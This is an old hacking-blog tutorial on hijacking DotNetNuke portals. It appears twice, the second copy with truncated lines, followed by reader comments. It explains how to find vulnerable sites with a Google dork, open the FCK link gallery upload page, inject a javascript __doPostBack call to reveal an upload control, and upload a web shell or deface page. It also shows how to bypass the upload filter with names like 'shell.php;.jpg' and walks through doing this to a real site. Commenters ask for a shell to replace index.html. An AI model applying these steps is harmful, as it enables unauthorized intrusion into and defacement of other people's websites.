Dot Net Nuke Hacking
Sunday, April 15, 2012
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DNN,
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DNN Portal Hijacking Tutorial
______________________________________________________
Author: Rishabh Saxena
Facebook Page: Learn to hack (https://www.facebook.com/teamLTH)
______________________________________________________________
Q) What is DNN ?
A) DNN stands for Dot Net Nuke.It is an open source CMS [Content management system] based on .Net platform . It allows management of websites without much technical language which supports large number of third party apps. It requires Internet Information services 6 [IIS 6.0] and ASP.NET and supports SQL server 2003 and 2008 .
Q) What is This hack about?
A) Well there is a security hole in DNN which allows any attacker to upload data to the server. This way you can upload a shell to the server.
So lets start!
______________________________
Steps:
1) Google dork for vulnerable websites : inurl:/tabid/36/language/ en-US/Default.aspx
2) After searching the above dork in Google you will come across many sites , open anyone you like .
3)You will see /Home/tabid/36/Language/en-US/ Default.aspx in the url .
4)Just replace it with /Providers/ HtmlEditorProviders/Fck/ fcklinkgallery.aspx .
5)Now you will see a page titled **LINK GALLERY** Having some upload options.
6)Now Choose option ""File"" .
7) The inject the following javascript code in the Browser address bar javascript:__doPostBack('ctlURL$cmdUpload','')
Explanation for ctlURL$cmdupload ctlurl is URL control function which opens the cmdupload option which allows attacker to upload a file.
Sometimes the Browser removes *JAVASCRIPT* from this command while copy-pasting , so after pasting the command in browser just check if the **javascript** is still written there if it isnt there write *javascript* before :__doPostBack('ctlURL$cmdUpload','')so the command should always look like :
javascript:__doPostBack('ctlURL$cmdUpload','')
8) Now the ""Choose file"" option will come up .
9) Now choose file and select root click on "upload selected file" , upload any deface html page or any shell and start having fun
10) Now you can view your file/shell at portals/0/ uploadedfile.fileformat
11) Additional step : Well sometimes website admin changes the upload permissions and adds filter to the uploader so that u can just upload .jpeg/.jpg/.txt files .
To bypass this filter just rename the shell to
shell.php;.txt
shell.php;.jpg
or any other extension which is allowed
this way when u parse the request for the page/shell in the browser it will read upto .php only it wont read .txt as ";" sign ends the request.
______________________________ ________________________
Example scenario :
I googled the DORK and it disaplyed list of some sites .
i opened one of the site listed there :
http://www.*****.@@home/tabid/36/ language/en-US/default.aspx
then i changed the **home/tabid/36/language/ en-US/default.aspx** with **/Providers/ HtmlEditorProviders/Fck/ fcklinkgallery.aspx**
So the edited URL was like this :
http://www.*****.@@/Providers/ HtmlEditorProviders/Fck/ fcklinkgallery.aspx
Then i clicked on Option ""File"" Then in the address bar i injected this javascript : javascript:__doPostBack('ctlUR L$cmdUpload','')
then a "Choose file" option comes up .
I Browsed to my page/shell and click on "Upload selected file" the file was uploaded to : http://www.*****.@@/portals/0/ uploadedfile.format
______________________________ _________________________
Well i am assuming that readers have knowledge about some terms mentioned above like :
CMS :- http://en.wikipedia.org/wiki/ Content_management_system
DNN :- http://en.wikipedia.org/wiki/ DotNetNuke
.NET :- http://en.wikipedia.org/wiki/ .NET_Framework
SHELL :- http://en.wikipedia.org/wiki/ Shell_(computing)
If you don't know ,just read from the links mentioned above.
NOTE: This tutorial is for educational purposes only, Use at your own risk. The Author And The Blog is not responsible for any consequence, be it Good or Bad!!
Original Author: Rishabh Saxena [Member Of Computer Korner]
Facebook Page: Learn to hack (https://www.facebook.com/teamLTH)
Do Not Forget to Visit The LTH Page To Get More Updates!
Thank You!
Feel Free To Leave A Comment
If Our Article has Helped You, Support Us By Making A Small Contribution, Thank You!
______________________________________________________
Author: Rishabh Saxena
Facebook Page: Learn to hack (https://www.facebook.com/teamLTH)
______________________________________________________________
Q) What is DNN ?
A) DNN stands for Dot Net Nuke.It is an open source CMS [Content management system] based on .Net platform . It allows management of websites without much technical language which supports large number of third party apps. It requires Internet Information services 6 [IIS 6.0] and ASP.NET and supports SQL server 2003 and 2008 .
Q) What is This hack about?
A) Well there is a security hole in DNN which allows any attacker to upload data to the server. This way you can upload a shell to the server.
So lets start!
______________________________
Steps:
1) Google dork for vulnerable websites : inurl:/tabid/36/language/
2) After searching the above dork in Google you will come across many sites , open anyone you like .
3)You will see /Home/tabid/36/Language/en-US/
4)Just replace it with /Providers/
5)Now you will see a page titled **LINK GALLERY** Having some upload options.
6)Now Choose option ""File"" .
7) The inject the following javascript code in the Browser address bar javascript:__doPostBack('ctlURL$cmdUpload','')
Explanation for ctlURL$cmdupload ctlurl is URL control function which opens the cmdupload option which allows attacker to upload a file.
Sometimes the Browser removes *JAVASCRIPT* from this command while copy-pasting , so after pasting the command in browser just check if the **javascript** is still written there if it isnt there write *javascript* before :__doPostBack('ctlURL$cmdUpload','')so the command should always look like :
javascript:__doPostBack('ctlURL$cmdUpload','')
8) Now the ""Choose file"" option will come up .
9) Now choose file and select root click on "upload selected file" , upload any deface html page or any shell and start having fun
10) Now you can view your file/shell at portals/0/
11) Additional step : Well sometimes website admin changes the upload permissions and adds filter to the uploader so that u can just upload .jpeg/.jpg/.txt files .
To bypass this filter just rename the shell to
shell.php;.txt
shell.php;.jpg
or any other extension which is allowed
this way when u parse the request for the page/shell in the browser it will read upto .php only it wont read .txt as ";" sign ends the request.
______________________________
Example scenario :
I googled the DORK and it disaplyed list of some sites .
i opened one of the site listed there :
http://www.*****.@@home/tabid/36/
then i changed the **home/tabid/36/language/
So the edited URL was like this :
http://www.*****.@@/Providers/
Then i clicked on Option ""File"" Then in the address bar i injected this javascript : javascript:__doPostBack('ctlUR
then a "Choose file" option comes up .
I Browsed to my page/shell and click on "Upload selected file" the file was uploaded to : http://www.*****.@@/portals/0/
______________________________
Well i am assuming that readers have knowledge about some terms mentioned above like :
CMS :- http://en.wikipedia.org/wiki/
DNN :- http://en.wikipedia.org/wiki/
.NET :- http://en.wikipedia.org/wiki/
SHELL :- http://en.wikipedia.org/wiki/
If you don't know ,just read from the links mentioned above.
NOTE: This tutorial is for educational purposes only, Use at your own risk. The Author And The Blog is not responsible for any consequence, be it Good or Bad!!
Original Author: Rishabh Saxena [Member Of Computer Korner]
Facebook Page: Learn to hack (https://www.facebook.com/teamLTH)
Do Not Forget to Visit The LTH Page To Get More Updates!
Thank You!
Feel Free To Leave A Comment
If Our Article has Helped You, Support Us By Making A Small Contribution, Thank You!
I have checked this on many websites but after the link gallery page and adding that javascript.No "choose file" come .Tell me wht's the problem?
ReplyDeleteans at 143ajaygupta@gmail.com
There is no problem, DNN is very old. they are patched now, if no upload option is found, check with other sites.
ReplyDeleteCan you tell me a good and simple shell.
ReplyDeleteI tried r57 but it shows a text, also i tried killer3n but i can't understand it.
Please tell a shell for purpose of just replacing index.html